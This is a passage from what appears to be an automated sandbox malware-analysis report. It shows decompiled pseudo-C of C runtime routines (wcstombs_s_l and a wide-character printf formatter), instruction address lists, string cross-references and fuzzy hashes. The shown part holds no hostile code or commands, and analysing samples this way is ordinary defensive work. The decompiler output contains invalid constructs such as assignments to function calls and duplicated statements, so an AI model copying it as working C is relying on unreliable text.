										} else {
											_t108 =  *0x440208; // 0xffffffff
											 *(_t129 - 0x28) = _t108;
										}
										_t100 =  *(_t129 + 0xc) + 1;
										__eflags =  *(_t129 + 0xc) + 1;
										E0041B4E0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x28));
									}
								}
							}
						}
						_t75 =  *((intOrPtr*)(L00422E40(_t100)));
						L48:
						return _t75;
					}
				}
				 *((intOrPtr*)(L00422E40(0x7fffffff))) = 0x16;
				E00422BD0(_t97, 0x7fffffff, _t127, _t128, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
				_t75 = 0x16;
				goto L48;
			}

0x004376c3
0x004376c3
0x004376c3
0x004376c6
0x004376cd
0x004376e4
0x004376ea
0x004376fa
0x004376fa
0x004376fd
0x004376ec
0x004376ec
0x004376f2
0x004376f2
0x00437710
0x00437715
0x00437715
0x0043771c
0x0043771e
0x00437721
0x00437721
0x0043772d
0x00437737
0x0043773a
0x0043772f
0x00437732
0x00437732
0x00437740
0x0043774b
0x0043774d
0x00437750
0x00437753
0x00437755
0x0043775a
0x0043775c
0x00437761
0x00437766
0x00437768
0x0043776d
0x00437773
0x00437775
0x00437775
0x00437773
0x0043777a
0x004377bb
0x004377bf
0x004377c4
0x004377c7
0x004377ca
0x004377ce
0x0043783a
0x0043783d
0x00437840
0x00437844
0x00437931
0x00437931
0x00437935
0x0043793d
0x0043793d
0x0043793f
0x00000000
0x0043793f
0x0043784d
0x00437850
0x00437927
0x0043792a
0x0043792a
0x0043792d
0x00000000
0x0043792d
0x00437856
0x0043785a
0x0043791a
0x0043791d
0x00437920
0x00000000
0x00437920
0x00437863
0x00437866
0x0043786a
0x0043786c
0x00437873
0x00437875
0x00437879
0x00437881
0x00437887
0x00437896
0x00437896
0x00437899
0x00437889
0x00437889
0x0043788e
0x0043788e
0x0043789c
0x004378a8
0x004378ac
0x004378b1
0x004378b1
0x00437879
0x00437873
0x004378b4
0x004378b7
0x004378ba
0x004378be
0x004378c1
0x004378c3
0x004378c8
0x004378ca
0x004378cf
0x004378d4
0x004378d6
0x004378db
0x004378de
0x004378e1
0x004378e3
0x004378e3
0x004378e1
0x004378e4
0x004378e8
0x00000000
0x004378ea
0x004378ef
0x0043790b
0x00437913
0x00000000
0x00437913
0x004377d0
0x004377d0
0x004377d4
0x004377d9
0x004377dc
0x004377e0
0x004377e2
0x004377e9
0x004377eb
0x004377ef
0x004377f7
0x004377fd
0x0043780d
0x0043780d
0x00437810
0x004377ff
0x004377ff
0x00437805
0x00437805
0x0043781f
0x0043781f
0x00437823
0x00437828
0x004377ef
0x004377e9
0x004377e0
0x00437830
0x00437942
0x00437945
0x00437945
0x004377ce
0x00437781
0x0043779d
0x004377a5
0x00000000

APIs

_memset.LIBCMT ref: 00437710
__invalid_parameter.LIBCMTD ref: 0043779D

Strings

_wcstombs_s_l, xrefs: 00437793
bufferSize <= INT_MAX, xrefs: 00437755, 00437798
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00437761, 0043778E

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: 2ab1e9bc8948bc5f3ca306ed263feee21203a2af1a72725bf5a2b547e1af7acf
Instruction ID: 69680c349bdd1e80328567b04af2021deb66c1ce1421f0460d4f7e0b3734b541
Opcode Fuzzy Hash: 2ab1e9bc8948bc5f3ca306ed263feee21203a2af1a72725bf5a2b547e1af7acf
Instruction Fuzzy Hash: 1B21B2B0A04349DBDB34CF58CD41BAE73A0BB48314F20466EE9A46A3C0D779A951CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0043C376, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C376(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				intOrPtr _t501;
				signed int _t519;
				intOrPtr _t523;
				intOrPtr _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *(_t525 - 0x30) = 8;
					while(1) {
						L143:
						 *(__ebp - 0x460) = 7;
						while(1) {
							L145:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								__edx = 0x30;
								 *(__ebp - 0x14) = __dx;
								 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
								__eflags =  *(__ebp - 0x460) + 0x51;
								 *(__ebp - 0x12) = __ax;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L150:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E004284A0(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004284A0(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
												 *(__ebp - 0x49c) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004284A0(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
										 *(__ebp - 0x49c) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E004284C0(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L167;
								}
								L163:
								__eflags =  *(__ebp - 0x49c);
								if(__eflags > 0) {
									goto L167;
								}
								L164:
								if(__eflags < 0) {
									L166:
									 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
									__edx =  *(__ebp - 0x49c);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
									 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L168:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x4a8);
											__eax =  *(__ebp - 0x4a4);
											__eax =  *(__ebp - 0x4a4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x4a4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x249;
									 *(__ebp - 4) = __ebp - 0x249;
									while(1) {
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										L179:
										 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
											L183:
											__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L187:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L212;
													}
													L188:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	__edx = 0x20;
																	 *(__ebp - 0x14) = __dx;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																__eax = 0x2b;
																 *(__ebp - 0x14) = __ax;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__ecx = 0x2d;
															 *(__ebp - 0x14) = __cx;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043CAB0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E0043CAF0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x44c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x4ac);
															__eax = E0043CAB0(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) != 0) {
														L208:
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x24);
														__edx =  *(__ebp - 4);
														__eax = E0043CAF0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
														goto L209;
													} else {
														L201:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L208;
														}
														L202:
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x4b0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
														while(1) {
															L203:
															__ecx =  *(__ebp - 0x4b4);
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															__eflags = __ecx;
															if(__ecx <= 0) {
																break;
															}
															L204:
															__ecx = __ebp - 0x40;
															__eax = E0041AE20(__ebp - 0x40);
															__ecx = __ebp - 0x40;
															E0041AE20(__ebp - 0x40) =  *__eax;
															__ecx =  *(__ebp - 0x458 + 0xac);
															__edx =  *(__ebp - 0x4b0);
															__eax = __ebp - 0x458;
															 *(__ebp - 0x4b8) = E0043B550(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
															__eflags =  *(__ebp - 0x4b8);
															if( *(__ebp - 0x4b8) > 0) {
																L206:
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x458) & 0x0000ffff = E0043CA50( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																continue;
															}
															L205:
															 *(__ebp - 0x44c) = 0xffffffff;
															break;
														}
														L207:
														L209:
														__eflags =  *(__ebp - 0x44c);
														if( *(__ebp - 0x44c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x4ac) = E0043CAB0(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
															}
														}
													}
													L212:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														__ecx =  *(__ebp - 0x20);
														__eax = L0041C510( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L214:
														 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
														_t502 =  *(_t525 - 0x454) & 0x0000ffff;
														 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
														if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
															break;
														} else {
															if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
																 *(_t525 - 0x4d8) = 0;
															} else {
																 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
															}
														}
														L7:
														 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
														_t519 =  *(_t525 - 0x450) * 9;
														_t490 =  *(_t525 - 0x45c);
														_t510 = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
														 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
														if( *(_t525 - 0x45c) != 8) {
															L16:
															 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
															__eflags =  *(_t525 - 0x4e0) - 7;
															if( *(_t525 - 0x4e0) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043C944))) {
																case 0:
																	L18:
																	 *(_t525 - 0xc) = 1;
																	E0043CA50( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																	_t527 = _t527 + 0xc;
																	goto L214;
																case 1:
																	L19:
																	 *(__ebp - 0x2c) = 0;
																	__ecx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) = __ecx;
																	__edx =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__eax =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L214;
																case 2:
																	L20:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e4) = __ecx;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	__eflags =  *(__ebp - 0x4e4) - 0x10;
																	if( *(__ebp - 0x4e4) > 0x10) {
																		goto L27;
																	}
																	L21:
																	_t57 =  *(__ebp - 0x4e4) + 0x43c97c; // 0x498d04
																	__ecx =  *_t57 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043C964))) {
																		case 0:
																			goto L24;
																		case 1:
																			goto L25;
																		case 2:
																			goto L23;
																		case 3:
																			goto L22;
																		case 4:
																			goto L26;
																		case 5:
																			goto L27;
																	}
																case 3:
																	L28:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__edx =  *(__ebp - 0x18);
																		__edx =  *(__ebp - 0x18) * 0xa;
																		__eflags = __edx;
																		_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__ecx = __edx + _t81;
																		 *(__ebp - 0x18) = __ecx;
																	} else {
																		__edx = __ebp + 0x14;
																		 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			__ecx =  *(__ebp - 0x18);
																			__ecx =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) = __ecx;
																		}
																	}
																	L33:
																	goto L214;
																case 4:
																	L34:
																	 *(__ebp - 0x30) = 0;
																	goto L214;
																case 5:
																	L35:
																	__edx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__ecx =  *(__ebp - 0x30);
																		__ecx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __ecx;
																		_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__eax = __ecx + _t92;
																		 *(__ebp - 0x30) = __ecx + _t92;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L214;
																case 6:
																	L41:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e8) = __ecx;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	__eflags =  *(__ebp - 0x4e8) - 0x2e;
																	if( *(__ebp - 0x4e8) > 0x2e) {
																		L64:
																		goto L214;
																	}
																	L42:
																	_t100 =  *(__ebp - 0x4e8) + 0x43c9a4; // 0xc1b19003
																	__ecx =  *_t100 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043C990))) {
																		case 0:
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																				L50:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																					L53:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																					if(( *__ecx & 0x0000ffff) == 0x64) {
																						L59:
																						L61:
																						goto L64;
																					}
																					L54:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x69;
																					if(__ecx == 0x69) {
																						goto L59;
																					}
																					L55:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																						goto L59;
																					}
																					L56:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx & 0x0000ffff;
																					__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																					if(( *__ecx & 0x0000ffff) == 0x75) {
																						goto L59;
																					}
																					L57:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = __ecx - 0x78;
																					if(__ecx == 0x78) {
																						goto L59;
																					}
																					L58:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																					__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																					if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																						 *(__ebp - 0x45c) = 0;
																						goto L18;
																					}
																					goto L59;
																				}
																				L51:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																				__eflags = __ecx - 0x32;
																				if(__ecx != 0x32) {
																					goto L53;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																					goto L61;
																				}
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x34;
																			if(__ecx != 0x34) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																				goto L61;
																			}
																		case 1:
																			L62:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) = __ecx;
																			goto L64;
																		case 2:
																			L43:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			} else {
																				__ecx =  *(__ebp + 0xc);
																				__ecx =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) = __ecx;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L64;
																		case 3:
																			L63:
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																			goto L64;
																		case 4:
																			goto L64;
																	}
																case 7:
																	L65:
																	__eax =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																	__ecx =  *(__ebp - 0x4ec);
																	__ecx =  *(__ebp - 0x4ec) - 0x41;
																	 *(__ebp - 0x4ec) = __ecx;
																	__eflags =  *(__ebp - 0x4ec) - 0x37;
																	if( *(__ebp - 0x4ec) > 0x37) {
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L66:
																	_t141 =  *(__ebp - 0x4ec) + 0x43ca10; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043C9D4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *(__ebp - 0x460) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E004284A0(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x474);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
